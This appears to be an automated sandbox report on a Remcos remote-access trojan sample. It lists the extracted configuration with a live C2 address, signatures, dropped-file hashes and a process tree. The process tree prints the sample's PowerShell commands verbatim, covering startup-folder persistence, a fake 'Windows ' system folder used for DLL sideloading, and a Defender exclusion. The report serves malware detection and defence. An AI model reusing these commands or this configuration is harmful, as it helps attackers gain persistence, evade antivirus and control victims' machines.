Analysis

  • max time kernel
    143s
  • max time network
    165s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-12-2024 16:33

General

  • Target

    NSIS.exe

  • Size

    180.1MB

  • MD5

    bd4906b9305afec35a88a3387bcb9fac

  • SHA1

    1d32e6f1c6ba770c3b2625d0241be0f2d4581b5d

  • SHA256

    a674229c90366a8300ad63c8ae675c2bc1c12307bccb00ae818dfa67c1955bf5

  • SHA512

    40966c176eaf9e025597599cb99532b3c36c3e72bcf991b95a450eb26f663b61a79933d741cce807e18c198239e3c49973189e9eb2cdbaf4b29115a6c25ff09a

  • SSDEEP

    1572864:1wl41lgY+w9QLv1JWYc6UeOtUUGQUT1jdu4BPPuuwT2GOqiB1sr7zjg7ob753oUV:rF4oD0QdG09P

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

185.42.12.39:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    jesusapt

  • mouse_option

    false

  • mutex

    JESUSAPT-7R4T5W

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Control Panel 2 IoCs
  • Modifies registry class 10 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NSIS.exe
    "C:\Users\Admin\AppData\Local\Temp\NSIS.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3824
    • C:\Users\Admin\AppData\Local\Temp\NSIS.exe
      "C:\Users\Admin\AppData\Local\Temp\NSIS.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\NSIS" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1748,i,77081854884400804,644956409832707141,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1740 /prefetch:2
      2⤵
        PID:4556
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyElectronApp.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\Temp\NSIS.exe';$s.Save()""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyElectronApp.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\Temp\NSIS.exe';$s.Save()"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3800
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell Start-Process -Filepath 'C:\Windows \System32\winSAT.exe' -WindowStyle Hidden"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Start-Process -Filepath 'C:\Windows \System32\winSAT.exe' -WindowStyle Hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1056
          • C:\Windows \System32\winSAT.exe
            "C:\Windows \System32\winSAT.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Windows directory
            • Suspicious use of WriteProcessMemory
            PID:4144
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {$UserProfile = [Environment]::GetFolderPath('UserProfile'); $TargetPath = Join-Path $UserProfile 'AppData\Roaming\MyElectronApp'; Add-MpPreference -ExclusionPath $TargetPath; }"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2004
      • C:\Users\Admin\AppData\Local\Temp\NSIS.exe
        "C:\Users\Admin\AppData\Local\Temp\NSIS.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\NSIS" --field-trial-handle=1968,i,77081854884400804,644956409832707141,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:3
        2⤵
          PID:3620
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell Start-Process -Filepath 'C:\Windows \System32\winSAT.exe' -WindowStyle Hidden"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5088
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Start-Process -Filepath 'C:\Windows \System32\winSAT.exe' -WindowStyle Hidden
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4752
            • C:\Windows \System32\winSAT.exe
              "C:\Windows \System32\winSAT.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in Windows directory
              • Suspicious use of WriteProcessMemory
              PID:1636
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {$UserProfile = [Environment]::GetFolderPath('UserProfile'); $TargetPath = Join-Path $UserProfile 'AppData\Roaming\MyElectronApp'; $BginfoPath = Join-Path $TargetPath 'Bginfo.exe'; Start-Process -FilePath $BginfoPath -ArgumentList '/NOLICPROMPT /timer:300' -WorkingDirectory $TargetPath -WindowStyle Hidden; }"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4240
                • C:\Users\Admin\AppData\Roaming\MyElectronApp\Bginfo.exe
                  "C:\Users\Admin\AppData\Roaming\MyElectronApp\Bginfo.exe" /NOLICPROMPT /timer:300
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Sets desktop wallpaper using registry
                  • System Location Discovery: System Language Discovery
                  • Checks processor information in registry
                  • Modifies Control Panel
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:1240

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        08f9f3eb63ff567d1ee2a25e9bbf18f0

        SHA1

        6bf06056d1bb14c183490caf950e29ac9d73643a

        SHA256

        82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

        SHA512

        425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        b29126a0e5855879a3116fa93cdbff56

        SHA1

        c1d622d1c55e313f73ad7e38c8cafa480898ccae

        SHA256

        f364f5149268b0aa36fdb07a848940773465f1076ed8526f85dad4465349fd70

        SHA512

        c3223e973f40400ab2c74cda4afaa73ec26e4d1cd4971023451439829cf1214978cb52093006103c2a4c022fd74cda8dcec22b8bd12a410eddd153a73386c7df

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        15aae9fe99ff772eab924e74e9b1e743

        SHA1

        2959a1d86d2f8fa05be1c377a44d3ecedde84ca1

        SHA256

        647680f12b510b7786ab6998b233b2ff62d55810ec944a1ecc33878dc73e24a5

        SHA512

        b2a1f59963e603627b32fc6d80f09bb09f78882148b40ff926f943742127bc97ba4ea59c0e616a3aeee55ca7eb71d1d3a9db4c09a2efda52730e91fa866cd312

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tsns24f.z3q.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\MyElectronApp\Bginfo.exe

        Filesize

        2.1MB

        MD5

        3aef228fb7ee187160482084d36c9726

        SHA1

        8b76990c5061890c94f81f504c5782912a58d8a6

        SHA256

        c885df88693496d5c28ad16a1ecde259e191f54ad76428857742af843b846c53

        SHA512

        e659a7cf12c6b41879e4ce987e4cd1cefce2ffc74e06817667fa833764f36f25cc5f8374dbc844b68b787acac011c7b8c8f2b74563bf8a96f623ebb110a593da

      • C:\Users\Admin\AppData\Roaming\MyElectronApp\VERSION.dll

        Filesize

        256KB

        MD5

        b9c1e07b4b2eda5d3650acad008b8374

        SHA1

        5f193013d0f9caa41e1a1b2441e5e969315803c7

        SHA256

        a94785c2269da10bc56b8b2d526e6028b22d62d0961db3129abc0208416c119e

        SHA512

        67effa650ceb69afbe040385f017f22ba270ab04ab7cf9ab5b2a64f4d0ecb6d6f29809bd49ee9c9f0ad42d9bfbab595f213fb276259d62f8c48d97431afd0708

      • C:\Users\Admin\AppData\Roaming\MyElectronApp\data.bin

        Filesize

        467KB

        MD5

        71ee48d05dcaaf3edc86c7a8ddc7cfd8

        SHA1

        9448dae20207994597047d2796f3e237ca76b287

        SHA256

        4776212795ca4946fa4aad57df8ee4fb4a4d966cf23fba6a47ac18b3d8b73b52

        SHA512

        814b4456a04d07662888bf35d5f6d40b2cc5938d9ebf77f597d113ef2cad62c6baae9ed9c36765f8da4fb37a848443a29632f090ad42daa50ad44ea766a138c1

      • C:\Windows \System32\VERSION.dll

        Filesize

        221KB

        MD5

        66de65d980d40f3aaac3da64be631a91

        SHA1

        e9db45421829aadf312ee888f5340ade4545af89

        SHA256

        1cb9fcc2d76f51dbd08d58209c3e732b1abd0c1c0a3760d95374c68c890ff010

        SHA512

        fa8bc38b7c5d663497c1798a292d75f768d528cfe272f23c1cc3a4cdae80229772832bd45b54d2ce1815d347c941371eb87b84dcc794eaae515109f5b71f2fb4

      • C:\Windows \System32\version.dll

        Filesize

        235KB

        MD5

        92b547fb6a5e079a00955b13e67e415b

        SHA1

        28eafa6cddc0cd132b3ab1cd4c00a0a7c8a04014

        SHA256

        75a0725e4560801b81b0cc9a35a805012403072ebce5f70500c2435b6e128056

        SHA512

        1f764832690bc718c798f30250977d6a38d47e6093cbc2ca1bc7665386c4fdc55decbd324302f59aad15238ec9f8ac3ef7df5cc85e090309aaf2782b36220471

      • C:\Windows \System32\winSAT.exe

        Filesize

        2.7MB

        MD5

        715db53a8064c6deccf68b7501df3386

        SHA1

        99acd12c3600ad3a7c478e49126db520bc136304

        SHA256

        cc31fdcdce05144ef750b01233d57614cda7364a73ca26ff68886ebdc650e367

        SHA512

        9ba9eaefa1e2e4da2d14f12b81f2ed0597ab6eb6b32d85851b69bc86d77a6b38810a04aa35ffcbf64484d544f52960f05f4eaca4740cd3674a1d09d8b373ce3c

      • C:\Windows\Performance\WinSAT\winsat.log

        Filesize

        572B

        MD5

        f411e6493fba5f581f2adc97254961d7

        SHA1

        190ac4cec5cb4841063aa3d8d803a68abd7b945e

        SHA256

        4ce4c8286a6ab7552967f255a639975b6ed012566d522c34fd3c3dd8d7b8ac55

        SHA512

        c749544d5cf3c9aeec17e4546ecba22770033e9b663429f86eb0296068b6ecf937e81fc246578c6e4823eea36de95e245ee7e5271fbf7c102faef9a240502263

      • memory/1056-28-0x000001D9FF690000-0x000001D9FF6B2000-memory.dmp

        Filesize

        136KB

      • memory/1240-102-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-97-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-98-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-96-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-101-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-103-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-104-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-105-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-108-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-111-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-114-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB

      • memory/1240-113-0x00000000026E0000-0x000000000275D000-memory.dmp

        Filesize

        500KB